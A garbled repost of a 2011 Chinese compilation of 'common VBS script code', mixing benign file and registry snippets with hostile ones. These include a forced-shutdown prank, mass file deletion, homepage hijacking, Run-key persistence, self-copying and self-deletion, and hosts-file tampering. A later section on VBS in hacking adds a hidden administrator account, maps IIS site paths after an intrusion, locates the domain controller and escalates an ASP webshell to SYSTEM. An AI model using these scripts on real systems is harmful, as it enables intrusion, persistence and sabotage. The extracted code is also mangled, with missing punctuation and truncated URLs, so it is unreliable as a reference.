VBS脚本常用代码大全2011整理

发布时间:2021-02-26   来源:文档文库   
字号:
VBS脚本常用经典代码收集于 20117221:13:37整理
在网上查找资料的时候发现好多经典的 vbs 代码,收集起来也为了以后学 习。 VBS播放音乐
Dimwmp Setwmp=CreateObject("WMPlayer.OCX" wmp.openState wmp.URL'想象之中.mp3" DoUntilwmp.playState=1 WScript.Sleep1000 Loop 比较流行的VBS整人脚本(保存为 礼物.VBE”这样就可以通过QQ发送 SetshellCreateObject("WScript.Shell" shell.run"shutdown-s-t60-c 系统即将关闭
.",0 WhileInputBox("请输入答案"请回答""123"'密码是123 MsgBox"答案在心中…",16+4096'4096是让窗口在最顶层
Wend shell.run"shutdown-a",0 MsgBox"恭喜",64 修改桌面背景图片
Sphoto"d:\1.bmp"'输入你自己的BMP路径 Consthkcu=&h80001 Setwmi=GetObject("winmgmts: 1 / 38


stdregprov"wmi.getstringvaluehkcu,"ControlPanel\Desktop","Wallpaper",Spathwmi. setstringvaluehkcu,"ControlPanel\Desktop","TileWallpaper","0"wmi.setstringvaluehk cu,"ControlPanel\Desktop","WallpaperStyle","2"wmi.setdwordvalue hkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1 Setwmi=Nothing Setfso=CreateObject("scripting.filesystemobject" Setfs=fso.Getfile(Sphoto backname=fs.name fs.Name=fso.GetFileName(Spath fs.Copyfso.GetParentFolderName(Spath&"\",True fs.Name=backname Setfso=Nothing Setws=CreateObject("wscript.shell" ws.Run"gpupdate/force",vbhide ws.Run"RunDll 32.exeUSER 32.DLL,UpdatePerUserSystemParameters" Setws=Nothing VBS获取系统安装路径C: 'WINDOWS 路径
先定义这个变量是获取系统安装路径的,然后我们用 "strWinDir" 调用这个变SetWshShell=WScript.CreateObject("WScript.Shell" strWinDir=WshShell.ExpandEnvironmentStrings("%WinDir%" 2 / 38

量。
VBS获取C: \Program Files 路径
SetWshShell=WScript.CreateObject("WScript.Shell" strPorDir=WshShell.ExpandEnvironmentStrings("%ProgramFiles%" VBS获取C: 'Program Files'Com mon Files 路径
SetWshShell=WScript.CreateObject("WScript.Shell" strCommDir=WshShell.ExpandEnvironmentStrings("%CommonProgramFiles%" 桌面添加网址快捷方式
SetWshShell=WScript.CreateObject("Wscript.Shell" strDesktop=WshShell.SpecialFolders("Desktop"
.In k"oShellL in k.TargetPath"http: oShellLink.Description百度主页 给收藏夹添加网址
ConstADMINISTRATIVE_TOOLS=6
SetobjShell=CreateObject("Shell.Application" SetobjFolder=objShell.Namespace(ADMINISTRATIVE_TOOLS SetobjFolderItem=objFolder.Self SetobjShell=WScript.CreateObject("WScript.Shell" strDesktopFld=objFolderItem.Path
3 / 38


.url"objURLShortcut.TargetPath"http: objURLShortcut.Save 删除指定目录指定后缀文件
OnErrorResumeNext Setfso=CreateObject("Scripting.FileSystemObject" fso.DeleteFile"C: \*.vbs",True Setfso=Nothing VBS改主页
SetoShell=CreateObject("WScript.Shell" Explorer\Main\StartPage","http: VBS加启动项
SetoShell=CreateObject("Wscript.Shell" oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"VBS 复制自己到 C
Dimfso Setfso=WScript.CreateObject("Scripting.Filesystemobject" fso.getfile(wscript.scriptfullname.copy("c: \cik.vbs" 复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的
cik.exeDimfso Setfso=WScript.CreateObject("Scripting.Filesystemobject" fso.getfile("game.exe".copy("c: 4 / 38


\cik.exe" VBS获取系统临时目录
Dimfso Setfso=CreateObject("Scripting.FileSystemObject" Dimtempfolder
ConstTemporaryFolder=2 Settempfolder=fso.GetSpecialFolder(TemporaryFolder Wscript.Echotempfolder 就算代码出错依然继续执行 OnErrorResumeNext VBS打开网址
SetobjShell=CreateObject("Wscript.Shell" objShell.Run("http: VBS发送邮件
NameSpace="http:
SetEmail=CreateObject("CDO.Message" Email.Subject'这里写标题 Email.Textbody'这里写内容!" Email.AddAttachment"C: 这是附件
.txt"
WithEmail.Configuration.Fields .Item(NameSpace&"sendusing"=2 5 / 38


.Item(NameSpace&"smtpserverport"=25 .Item(NameSpace&"smtpauthenticate"=1 tem(NameSpace&”sendusername”
'
tem(NameSpace&”sendpassword”二发件人密码.Update EndWith Email.Send VBS结束进程
strComputer="." SetobjWMIService=GetObject_ ("winmgmts:
\\"&strComputer&"\root\cimv2" SetcolProcessList=objWMIService.ExecQuery_ ("Select*fromWin32_ProcessWhereName='Rar.exe'" ForEachobjProcessincolProcessList objProcess.Terminate( Next VBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用
户使用
createObject("wscript.shell".run"starthttp: Setobjws=WScript.CreateObject("wscript.shell" objws.Run"""C: VBS遍历硬盘删除指定文件名
OnErrorResumeNext 6 / 38


DimfPath strComputer="."
SetobjWMIService=GetObject("winmgmts: \\"&strComputer&"\root\cimv2"SetcolProcessList=objWMIService.ExecQuery(" Select*fromWin32_ProcessWhereName='gangzi.exe'" ForEachobjProcessIncolProcessList objProcess.Terminate( Next SetobjWMIService=GetObject("winmgmts:
{impersonationLevel=impersonate}!\\"&strComputer&"\root\cimv2" SetcolDirs=objWMIService.ExecQuery("Select*fromWin32_Directorywherename LIKE'%c: %'ornameLIKE'%d: %'ornameLIKE'%e: %'ornameLIKE'%f: %'ornameLIKE'%g: %'ornameLIKE'%h: %'ornameLIKE'%i: %'" SetobjFSO=CreateObject("Scripting.FileSystemObject" ForEachobjDirIncolDirs fPath=objDir.Name&"\cik.exe" '如果文件名是 cik.exe 就删除
objFSO.DeleteFile(fPath,True 7 / 38


Next VBS获取网卡 MAC地址 Dimmc,mo Set mc=GetObject("Winmgmts: ".InstancesOf("Win32_NetworkAdapterConfiguration"ForEachmoInmc Ifmo.IPEnabled=TrueThen MsgBox"本机网卡 MAC地址是: "&mo.MacAddress ExitFor EndIf Next VBS获取本机注册表主页地址
Setreg=WScript.CreateObject("WScript.Shell" MsgBoxstartpage VBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件一句话
OnErrorResumeNext Setfso=CreateObject("Scripting.FileSystemObject" CovbCrLf&路过。。。 ForEachiInfso.Drives Ifi.DriveType=2Then GFfso.GetFolder(i&"\" 8 / 38

最底部加
EndIf Next SubGF(fol Whfol Dimi ForEachiInfol.SubFolders GFi Next EndSub SubWh(fol Dimi ForEachiInfol.Files IfLCase(fso.GetExtensionName(i="txt"Then fso.OpenTextFile(i,8,0.WriteCo EndIf Next EndSub 获取计算机所有盘符
Setfso=CreateObject("scripting.filesystemobject" Setobjdrivesfso.Drives取得当前计算机的所有磁盘驱动器 ForEachobjdrive Ino bjdrives' 历磁盘 MsgBoxobjdrive Next 9 / 38


VBS给本机所有磁盘根目录创建文件
OnErrorResumeNext Setfso=CreateObject("Scripting.FileSystemObject" Setga ngzisfso.Drive取得当前计算机的所有磁盘驱动器 ForEachga ngzil ngan gzi 历磁盘
新建文件
.vbs",TureTestFile.WriteL in e("ByCik" TestFile.Close Next VBS遍历本机全盘找到所有 123.exe,然后给他们改名
321.exe Setfs=CreateObject("Scripting.FileSystemObject" ForEachdriveInfs.drives fstraversaldrive.rootfolder Next Subfstraversal(byvalthis ForEachfolderInthis.subfolders fstraversalfolder Next Setfiles=this.files ForEachfileInfiles Iffile.name=" 10 / 38


123.exe"Thenfile.name=" 321.exe" Next EndSub str"这里是你要复制到剪贴板的字符串 Setws=wscript.createobject("wscript.shell" ws.run"mshta vbscript: clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+"(close",0,true QQ 自动发消息 OnErrorResumeNext str="我是笨蛋/qq" SetWshShell=WScript.CreateObject("WScript.Shell" WshShell.run"mshta vbscript: clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+"(close",0 WshShell.run "tencent: //message/?Menu=yes&uin=&Site=&Service=200&sigT=2a39fb276d15586e111 4e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true WScript.Sleep3000 WshShell.Se ndKeys""" WshShell.SendKeys"%s" VBS隐藏文件
11 / 38


SetobjFSO=CreateObject("Scripting.FileSystemObject" SetobjFile=objFSO.GetFile("F: 软件大赛
\show.txt" IfobjFile.Attributes=objFile.AttributesAND2Then objFile.Attributes=objFile.AttributesXOR2 EndIf VBS生成随机数(521是生成规则,不同的数字生成的规则不一样,可以用 于其它用 Randomize520
point=Array(Int(100*Rnd+1,Int(1000*Rnd+1,Int(100*Rnd+1 msgboxjoin(point,"" VBS删除桌面IE图标(非快捷方式 SetoShell=CreateObject("WScript.Shell" oShell.RegWrite VBS获取自身文件名 MyName=WScript.ScriptName msgboxMyName MyFullName=WScript.ScriptFullName msgboxMyFullName VBS读取Unicode编码的文件
SetobjFSO=CreateObject("Scripting.FileSystemObject" SetobjFile=objFSO.OpenTextFile("gangzi.txt",1,False,-1 strText=objFile.ReadAll objFile.Close 12 / 38


Wscript.EchostrText VBS读取指定编码的文件(默认为uft-8 gangzi变量是要读取文件的路径
setstm2=createobject("ADO DB.Stream" stm 2.Charset="utf-8" stm 2.Open stm 2.LoadFromFilegangzi readfile=stm 2.ReadText MsgBoxreadfile VBS禁用组策略
SetoShell=CreateObject("WScript.Shell" oShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermitted Snapins",1,"REG_DWORD" VBS写指定编码的文件(默认为uft-8gangzi变量是要读取文件的路径, ga ngzi2内容变量
cik=" 1.txt" cik2=" 13 / 38


2.txt" SetStm1=CreateObject("ADO DB.Stream" Stm 1.Type=2 Stm 1.Open Stm 1.Charset="UTF-8" Stm 1.Position=Stm 1.Size Stm 1.WriteTextcik2 Stm 1.SaveToFilecik,2 Stm 1.Close setStm1=nothing VBS获取当前目录下所有文件夹名字(不包括子文件夹 Setfso=WScript.CreateObject("Scripting.Filesystemobject" Setf=fso.GetFolder(fso.GetAbsolutePathName("." Setfolders=f.SubFolders ForEachfoInfolders 14 / 38


wsh.echofo.Name Next VBS获取指定目录下所有文件夹名字(包括子文件夹
Dimt Setfso=WScript.CreateObject("scripting.filesystemobject" Setfs=fso.GetFolder("d: \" WScript.Echoaa(fs Functionaa(n Setf=n.subfolders ForEachuuInf Setop=fso.GetFolder(uu.path t=t&vbCrLf&op.path Callaa(op Next aa=t EndFunction VBS创建.URL文件(Iconlndex参数不同的数字代表不同的图标,具体请参
32.dll 里面的所有图标)
不知道是谁这么写我不发表任何意见
Setfso=CreateObject("scripting.filesystemobject" 15 / 38
SHELL

(13&Chr (10 qidong=qidong&"URL=http: (13&Chr (10 qidong=qidong&"IconFile=C: \WINDOWS\system32\SHELL 32.dll"&Chr (13&Chr (10qidong=qidong&"IconIndex=130"&Chr (13&Chr (10 SetTestFile=fso.CreateTextFile("qq.url",Ture TestFile.WriteLine(qidong TestFile.Close VBShosts (没写判断,无论存不存在都追加底部 Setfs=CreateObject("Scripting.FileSystemObject" path=fs.GetSpecialFolder (1&"\drivers\etc\hosts" Setf=fs.OpenTextFile(path,8,TristateFalse f.Write" 127.0. f.Write" 127.0. 16 / 38


f.Close VBS读取出
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explor er\Desktop\NameSpace 下面所有键的名字并循环输出
ConstHKLM=&H80002 strPath= "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace "Setoreg=GetObject("Winmgmts: \root\default: StdRegProv" oreg.EnumKeyHKLM,strPath,arr ForEachxInarr WScript.Echox Next VBS创建txt文件
Dimfso,TestFile Setfso=CreateObject("Scripting.FileSystemObject" SetTestFile=fso.CreateTextFile("C: \hello.txt",Ture TestFile.WriteLine("Hello,World!" TestFile.Close VBS创建文件夹
Dimfso,fld
Setfso=CreateObject("Scripting.FileSystemObject" 17 / 38


Setfld=fso.CreateFolder("C: \newFolder" VBS判断文件夹是否存在
Dimfso,fld Setfso=CreateObject("Scripting.FileSystemObject" If(fso.FolderExists("C: \newFolder"Then msgbox("Folderexists." else setfld=fso.CreateFolder("C: \newFolder" EndIf VBS使用变量判断文件夹 Dimfso,fld drvName="C: \" fldName="newFolder" Setfso=CreateObject("Scripting.FileSystemObject" If(fso.FolderExists(drvName&fldNameThen msgbox("Folderexists." else setfld=fso.CreateFolder(drvName&fldName EndIf VBS加输入框
Dimfso,TestFile,fileName,drvName,fldName 18 / 38


drvName=InputBox("Enterthedrivetosaveto: fldName=InputBox("Enterthefoldername: fileName=InputBox("Enterthenameofthefile: ","Filename" Setfso=CreateObject("Scripting.FileSystemObject" ","Driveletter" ","Foldername" If(fso.FolderExists(drvName&fldNameThen MsgBox("Folderexists" Else Setfld=fso.CreateFolder(drvName&fldName EndIf SetTestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",TrueT estFile.WriteLine("Hello,World!" TestFile.Close VBS检查是否有相同文件
Dimfso,TestFile,fileName,drvName,fldName drvName=InputBox("Enterthedrivetosaveto: ","Driveletter" fldName=InputBox("Enterthefoldername: ","Foldername" fileName=InputBox("Enterthenameofthefile: ","Filename" Setfso=CreateObject("Scripting.FileSystemObject" If(fso.FolderExists(drvName&fldNameThen 19 / 38


MsgBox("Folderexists" Else Setfld=fso.CreateFolder(drvName&fldName EndIf If(fso.FileExists(drvName&fldName&"\"&fileName&".txt"Then MsgBox("Filealreadyexists." Else SetTestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",TrueT estFile.WriteLine("Hello,World!" TestFile.Close EndIf VBS改写、追加文件
Dimfso,openFile Setfso=CreateObject("Scripting.FileSystemObject" SetopenFile=fso.OpenTextFile("C: \test.txt",2,True'1 只读, 2可写,8 追加 openFile.Write"HelloWorld!" openFile.Close VBS读取文件ReadAII读取全部
Dimfso,openFile Setfso=CreateObject("Scripting.FiIeSystemObject" SetopenFiIe=fso.OpenTextFiIe("C: \test.txt",1,True MsgBox(openFiIe.ReadAII 20 / 38


VBS读取文件ReadLine读取一行
Dimfso,openFiIe Setfso=CreateObject("Scripting.FiIeSystemObject" SetopenFile=fso.OpenTextFile("C: \test.txt",1,True MsgBox(openFile.ReadLine( MsgBox(ope nFile.ReadL in e(如果读取行数超过文件的行数,就会出错 VBS读取文件Read读取n个字符
Dimfso,openFile Setfso=CreateObject("Scripting.FileSystemObject" SetopenFile=fso.OpenTextFile("C: \test.txt",1,True MsgBox(openFile.Read (2'如果超出了字符数,不会出错。 VBS删除文件
Dimfso Setfso=CreateObject("Scripting.FileSystemObject" fso.DeleteFile("C: \test.txt" VBS删除文件夹
Dimfso
Setfso=CreateObject("Scripting.FileSystemObject" 21 / 38


fso.DeleteFolder("C: \newFolder"' 不管文件夹中有没有文件都一并删除 VBS连续创建文件
Dimfso,TestFile Setfso=CreateObject("Scripting.FileSystemObject" Fori=1To10 SetTestFile=fso.CreateTextFile("C: TestFile.WriteLine("Hello,World!" TestFile.Close Next VBS根据计算机名随机生成字符串 Setws=CreateObject("wscript.shell" Setwenv=ws.environment("process" FunctionUCharRand(n Fori=1Ton RandomizeAsc(Mid(RDA,1,1 temp=CInt(25*Rnd UCharRand=UCharRand&Chr(temp Next EndFunction MsgBoxUCharRand(Len(RDA VBS根据mac生成序列号
22 / 38
\hello"&i&".txt",Ture temp=temp+65

FunctionEncode(strPass Dimi,theStr,strTmp Fori=1ToLen(strPass strTmp=Asc(Mid(strPass,i,1 theStr=theStr&Abs(strTmp Next strPass=theStr theStr="" DoWhileLen(strPass>16 strPass=JoinCutStr(strPass Loop Fori=1ToLen(strPass strTmp=CInt(Mid(strPass,i,1 theStr=theStr&strTmp Next Encode=theStr EndFunction FunctionJoinCutStr(str Dimi,theStr Fori=1ToLen(str IfLen(str-i=0ThenExitFor theStr=theStr&Chr(CInt((Asc(Mid(str,i,1+Asc(Mid(str,i+1,1/2 i=i+1 strTmp=IIf(strTmp>6,Chr(strTmp+60,strTmp 23 / 38


Next JoinCutStr=theStr EndFunction FunctionIIf(var,val1,val2 Ifvar=TrueThen IIf=val1 Else IIf=val2 EndIf EndFunction Set mc=GetObject("Winmgmts: ".InstancesOf("Win32_NetworkAdapterConfiguration"ForEachmoInmc Ifmo.IPEnabled=TrueThen theStr=mo.MacAddress ExitFor EndIf Next RandomizeEncode(theStr rdnum=Int(10*Rnd+5 FunctionallRand(n Fori=1Ton RandomizeEncode(theStr temp=CInt(25*Rnd IftempMod2=0Then temp=temp+97 ElseIftemp<9Then temp=temp+48 Else temp=temp+65 EndIf allRand=allRand&Chr(temp Next EndFunction 24 / 38


MsgBoxallRand(rdnum VBS自动连接adsl DimWsh SetWsh=WScript.CreateObject("WScript.Shell" wsh.run"Rasdial 连接名字账号密码 ",false,1 VBS自动断开ADSL DimWsh SetWsh=WScript.CreateObject("WScript.Shell" wsh.run"Rasdial/DISCONNECT",false,1 VBS每隔3秒自动更换IP并打开网址实例(值得一提的是,下面这个代码 中每次打开的网址都是引用同一个IE窗口,也就是每次打开的是覆盖上次打开 的窗口,如果需要每次打开的网址都是新窗口,直接使用 run 就可以了
DimWsh SetWsh=WScript.CreateObject("WScript.Shell" Fori=1To5 wsh.run"Rasdial/DISCONNECT",False,1 wsh.run"Rasdial 连接名字账号密码 ",False,1 oI E.Navigate"http: CallSynchronizeIE oI E.Visible=True 25 / 38


Next SubSynchronizeIE OnErrorResumeNext DoWhile(oI E.Busy WScript.Sleep3000 Loop EndSub VBS来加管理员帐号
1. 的不明原因,总是加不了管理员帐号。
exe被限制,或其它VBS在活动目
(adsi部份有一个winnt对像,可以用来管理本地资源,可以用它不依靠 cmd 等命令来加一个管理员,详细代码如下:
os="WinNT: SetobGetObject(os得到 adsi 接口綁定
SetoeGetObject(os&'/Administrators,group"'属性,admin Setod=ob.Create("user","lcx"'建立用户 od.SetPassword"123456"设置密码 od. SetI nfo'保存
Setof=GetObject(os&'/lcx",user'得到用户 oe. addos&"/lcx" 这段代码如果保存为
26 / 38


1.vbs,cmd下运行,格式
cscript I.vbs的话,会在当前系统加一个名字为lex,密码为123456的管理员。当 然,你可以用记事本来修改里边的变量 码值。
将域用户或租添加到本地组 SetobjGroup=GetObjeet(WinNT: //./Administrators SetobjUser=GetObjeet(WinNT: objGroup.Add(objUser.ADsPath 修改本地管理员密码
//./administrator,user lex123456,改成你喜欢的名字和密
vbs来列虚拟主机的物理目录
有时旁注入侵成功一个站,拿到系统权限后,面对上百个虚拟主机,怎样 才能更快的找到我们目标站的物理目录呢?一个站翻看太累,用系统自带的 adsutil.vbs吧又感觉好像参数很多,有点无法下手的感觉,试试我这个脚本吧, 代码如下:
SetObjServiee=GetObjeet("IIS: //LoealHost/W3SVC" ForEaehobj3wInobjserviee IfIsNumerie(obj3w.NameThen sServerName=Obj3w.ServerComment SetwebSite=GetObjeet("IIS: 27 / 38


//Localhost/W3SVC/"&obj3w.Name&"/Root"ListAllWeb=ListAllWeb&obj3w.Na me&String(25-
Len(obj3w.Name,""&obj3w.ServerComment&"("&webSite.Path&""&vbCrLf EndIf Next WScript.EchoListAllWeb SetObjService=Nothing WScript.Quit 运行
cscript 2. vbs后,就会详细列出IIS里的站点I
D、描述、及物理目录,是不是代码少很多又方便呢? VBS快速找到内网域的主服务器
Setobj=GetObject("LDAP: //rootDSE"
WScript.Echoobj.servername 只用这两句代码就足够了,运行 cscript
3. vbs,会有结果的。当然,无论是 dos命令或vbs,你前提必须要在域用户 的权限下。好比你得到了一个域用户的帐号密码,你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell,或你的木马本来就是与桌面交互的, 登陆你木马 shell 的又是域用户,就可以直接运行这些命令了。
vbs的在入侵中的作用当然不只这些,当然用 js或其它工具也可以实现我上 述代码的功能;不过这个专栏定下的题目是 vbshacking中的妙用,所以我们 只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目,
争取为读者带
28 / 38


来好的有用的文章。
WebShell提权用的VBS代码
asp木马一直是搞脚本的朋友喜欢使用的工具之一但由于它的权限一般都 比较低(一般是IWAM_NAME权限所以大家想出了各种方法来提升它的权限 如说通过asp木马得到mssql数据库的权限或拿到ftp的密码信息又或者说是 替换一个服务程序。而我今天要介绍的技巧是利用一个
vbs文件来提升asp木马
的权限,代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一但由于它 的权限一般都比较低(一般是IWAM_NAME权限所以大家想出了各种方法来提 升它的权限如说通过asp木马得到mssql数据库的权限或拿到ftp的密码信 又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个 来提升asp木马的权限,代码如下
SetwshCreateobject("wscript.shell"'创建一个 wsh 对象 wsh.run"cscript.exeC
/W3SVC/InProcessIsapiAppsC C
vbs文件
\WINNT\system32\msw3prt.dllC 将其保存为vbs的后缀,再上传到服务上,
然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧,你会发现 自己己经是 system 权限了
VBS开启ipc服务和相关设置
DimOperationRegistry SetOperationRegistry=WScript.CreateObject("WScript.Shell" OperationRegistry.RegWrite 29 / 38


"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0 Setwsh3=wscript.createobject("wscript.shell" wsh wsh wsh wsh wsh wsh \",0,false wsh wsh wsh wsh wsh VBS时间判断代码 Digital=Time hours=Hour(Digital minutes=Minute(Digital seconds=Second(Digital If(hours<6Then dn"凌辰了,还没睡啊?"EndIf
30 / 38

If(hours>=6Then dn="早上好!
EndIf If(hours>12Then dn="下午好!
EndIf If(hours>18Then dn"晚上好!
EndIf
If(hours>22Then dn"不早了,夜深了,该睡觉了! EndIf If(minutes<=9Then minutes="0"&minutes EndIf If(seconds<=9Then seconds="0"&seconds EndIf ctime=hours&": "&minutes&": "&seconds&""&dn MsgBoxctime VBS注册表读写
31 / 38


DimOperationRegistry,mynum SetOperationRegistry=WScript.CreateObject("WScript.Shell" mynum=9 mynum= OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSe t\Control\Lsa\forceguest" MsgBox("beforceguest="&mynum OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0 mynum= OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSe t\Control\Lsa\forceguest" MsgBox("afterforceguest="&mynum VBS运行后删除自身代码
dimfso,f Setfso=CreateObject("Scripting.FileSystemObject" f=fso.DeleteFile(WScript.ScriptName VBS获取参数并显示
Fori=0ToWScript.Arguments.Count-1 MsgBoxWScript.Arguments.Item(i Next 检测是否重复运行 FunctionIsRun( IsRun=False 32 / 38


ForEachpsIn
GetObject("winmgmts: \\.\root\cimv2:win32_process".instances_ IfLCase(ps.name="wscript.exe"Then IfInStr(LCase(ps.CommandLine,LCase(WScript.scriptnameTheni=i+1 EndIf Next Ifi>1ThenIsRun=True EndFunction 获取指定类型磁盘
FunctionGetDrvS(Drives SetDrv=Fso.GetDrive(Fso.GetDriveName(Drives IfDrv.IsReadyThen lfDrv.DriveType=1ThenGetDrvSTrueElseGetDrvSFae盘类型:0 无法识别
1 移动磁盘2硬盘3网络硬盘4光驱5 RAM虚拟磁盘” Endlf
EndFunction 查看快捷方式详细参数
'OnErrorResumeNext
Setcik=CreateObject("Wscript.Shell" setLink=cik.CreateShortcut(WScript.Arguments.Item (0 withLink 33 / 38


s=s&"快捷方式对象的参数。:
"&.Arguments s=s&vbcrlf&"快捷方式对象的说明。:
"&.Description s=s&vbcrlf&"快捷方式对象的热键。:
"&.Hotkey s=s&vbcrlf&"快捷方式对象的图标位置:
"&.IconLocation s=s&vbcrlf&"快捷方式对象的目标路径:
"&.TargetPath s=s&vbcrlf&"快捷方式对象的窗口样式:
"&.WindowStyle s=s&vbcrlf&"快捷方式对象的工作目录: "&.WorkingDirectory endwith msgboxs,,'快捷方式对象:WScript.Quit 让电脑读英文
CreateObject("SAPI.SpVoice".Speak"ReductionusingWindows?" 文件夹的简单操作 SetfsoWscript.CreateObject(Scripti ng.FileSystemObject声明 Setf=fso.CreateFolder("C: \sample"' 创建文件夹
34 / 38


Sete=getFolder("C: \sample"' 类似于绑定目标
e.copy("D: \sample"'复制文件夹 fso.deletefolder("C: \sample"'删除文件夹
35 / 38


本文来源:https://www.2haoxitong.net/k/doc/7a5b14ba7dd5360cba1aa8114431b90d6d858997.html

《VBS脚本常用代码大全2011整理.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式